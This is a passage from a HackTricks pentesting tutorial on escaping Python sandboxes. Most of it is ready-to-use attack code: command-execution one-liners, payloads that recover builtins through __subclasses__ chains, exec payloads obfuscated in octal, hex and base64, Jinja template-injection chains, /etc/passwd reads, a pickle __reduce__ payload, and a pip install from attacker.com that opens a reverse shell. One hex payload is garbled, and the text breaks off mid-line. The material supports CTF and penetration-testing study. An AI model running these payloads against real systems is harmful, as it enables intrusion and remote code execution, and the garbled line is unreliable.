HackTricks
Search…
Pentesting
Powered By GitBook
Bypass Python sandboxes
These are some tricks to bypass python sandbox protections and execute arbitrary commands.

Command Execution Libraries

The first thing you need to know is if you can directly execute code with some already imported library, or if you could import any of these libraries:
1
os.system("ls")
2
os.popen("ls").read()
3
commands.getstatusoutput("ls")
4
commands.getoutput("ls")
5
commands.getstatus("file/path")
6
subprocess.call("ls", shell=True)
7
subprocess.Popen("ls", shell=True)
8
pty.spawn("ls")
9
pty.spawn("/bin/bash")
10
platform.os.system("ls")
11
pdb.os.system("ls")
12
13
#Import functions to execute commands
14
importlib.import_module("os").system("ls")
15
importlib.__import__("os").system("ls")
16
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
17
imp.os.system("ls")
18
imp.sys.modules["os"].system("ls")
19
sys.modules["os"].system("ls")
20
__import__("os").system("ls")
21
import os
22
from os import *
23
24
#Other interesting functions
25
open("/etc/passwd").read()
26
open('/var/www/html/input', 'w').write('123')
27
28
#In Python2.7
29
execfile('/usr/lib/python2.7/os.py')
30
system('ls')
Copied!
Remember that the open and read functions can be useful to read files inside the python sandbox and to write some code that you could execute to bypass the sandbox.
Python2 input() function allows to execute python code before the program crashes.
Python try to load libraries from the current directory first (the following command will print where is python loading modules from): python3 -c 'import sys; print(sys.path)'

Bypass pickle sandbox with default installed python packages

Default packages

You can find a list of pre-installed packages here: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html Note that from a pickle you can make the python env import arbitrary libraries installed in the system. For example the following pickle, when loaded, is going to import the pip library to use it:
1
#Note that here we are importing the pip library so the pickle is created correctly
2
#however, the victimdoesn't even need to have the library installed to execute it
3
#the library is going to be loaded automatically
4
5
import pickle, os, base64, pip
6
class P(object):
7
def __reduce__(self):
8
return (pip.main,(["list"],))
9
10
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Copied!
For more information about how does pickle works check this: https://checkoway.net/musings/pickle/

Pip package

If you have access to pip or to pip.main() you can install an arbitrary package and obtain a reverse shell calling:
1
pip install http://attacker.com/Rerverse.tar.gz
2
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
Copied!
You can download the package to create the reverse shell here. Please, note that before using it you should decompress it, change the setup.py, and put your IP for the reverse shell:
Reverse.tar.gz
1KB
Binary
This package is called Reverse.However, it was specially crafted so when you exit the reverse shell the rest of the installation will fail, so you won't leave any extra python package installed on the server when you leave.

Eval-ing python code

This is really interesting if some characters are forbidden because you can use the hex/octal/B64 representation to bypass the restriction:
1
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
2
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
3
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
4
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
5
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
6
#One liners that allow new lines and tabs
7
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
8
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Copied!
1
#Octal
2
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
3
#Hex
4
exec("\x5f\x5f\x69\x6d\xIf youca70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
5
#Base64
6
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
7
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
Copied!

Builtins

If you can access to the__builtins__ object you can import libraries (notice that you could also use here other string representation showed in last section):
1
__builtins__.__import__("os").system("ls")
2
__builtins__.__dict__['__import__']("os").system("ls")
Copied!

No Builtins

When you don't have __builtins__ you are not going to be able to import anything nor even read or write files as all the global functions (like open, import, print...) aren't loaded. However, by default python import a lot of modules in memory. This modules may seem benign, but some of them are also importing dangerous functionalities inside of them that can be accessed to gain even arbitrary code execution.
In the following examples you can observe how to abuse some of this "benign" modules loaded to access dangerous functionalities inside of them.
Python2
1
#Try to reload __builtins__
2
reload(__builtins__)
3
import __builtin__
4
5
# Read recovering <type 'file'> in offset 40
6
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
7
# Write recovering <type 'file'> in offset 40
8
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
9
10
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
11
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
12
# Execute (another method)
13
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
14
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
15
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
16
17
# Or you could obtain the builtins from a defined function
18
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Copied!

Python3

1
# Obtain builtins from a globally defined function
2
## https://docs.python.org/3/library/functions.html
3
print.__self__
4
dir.__self__
5
globals.__self__
6
len.__self__
7
8
# Obtain the builtins from a defined function
9
get_flag.__globals__['__builtins__']
10
11
# Get builtins from loaded clases
12
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
Copied!
Below there is a bigger function to find tens/hundreds of places were you can find the builtins.

Python2 and Python3

1
# Recover __builtins__ and make eveything easier
2
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
3
__builtins__["__import__"]('os').system('ls')
Copied!

Builtins payloads

1
# Possible payloads once you have found the builtins
2
.open("/etc/passwd").read()
3
.__import__("os").system("ls")
4
# There are a lot other payloads that can be abused to execute commands
5
# See them below
Copied!

Globals and locals

Checking the globals and locals is a good way to know what you can access.
1
>>> globals()
2
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
3
>>> locals()
4
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
5
6
# Obtain globals from a defined function
7
get_flag.__globals__
8
9
# Obtain globals from an object of a class
10
class_obj.__init__.__globals__
11
12
# Obtaining globals directly from loaded classes
13
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
14
[<class 'function'>]
15
16
# Obtaining globals from __init__ of loaded classes
17
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
18
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
19
## Without the use of the dir() function
20
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
21
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
Copied!
Below there is a bigger function to find tens/hundreds of places were you can find the globals.

Discover Arbitrary Execution

Here I want to explain how to easily discover more dangerous functionalities loaded and propose more reliable exploits.

Accessing subclasses with bypasses

One of the most sensitive parts of this technique is to be able to access the base subclasses. In the previous examples this was done using ''.__class__.__base__.__subclasses__() but there are other possible ways:
1
#You can access the base from mostly anywhere (in regular conditions)
2
"".__class__.__base__.__subclasses__()
3
[].__class__.__base__.__subclasses__()
4
{}.__class__.__base__.__subclasses__()
5
().__class__.__base__.__subclasses__()
6
(1).__class__.__base__.__subclasses__()
7
bool.__class__.__base__.__subclasses__()
8
print.__class__.__base__.__subclasses__()
9
open.__class__.__base__.__subclasses__()
10
defined_func.__class__.__base__.__subclasses__()
11
12
#You can also access it without "__base__" or "__class__"
13
## You can apply the previous technique also here
14
"".__class__.__bases__[0].__subclasses__()
15
"".__class__.__mro__[1].__subclasses__()
16
"".__getattribute__("__class__").mro()[1].__subclasses__()
17
"".__getattribute__("__class__").__base__.__subclasses__()
18
19
#If attr is present you can access everything as string
20
## This is common in Djanjo (and Jinja) environments
21
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
22
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Copied!

Finding dangerous libraries loaded

For example, knowing that with the library sys it's possible to import arbitrary libraries, you can search for all the modules loaded that have imported sys inside of them:
1
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
2
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
Copied!
There are a lot, and we just need one to execute commands:
1
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__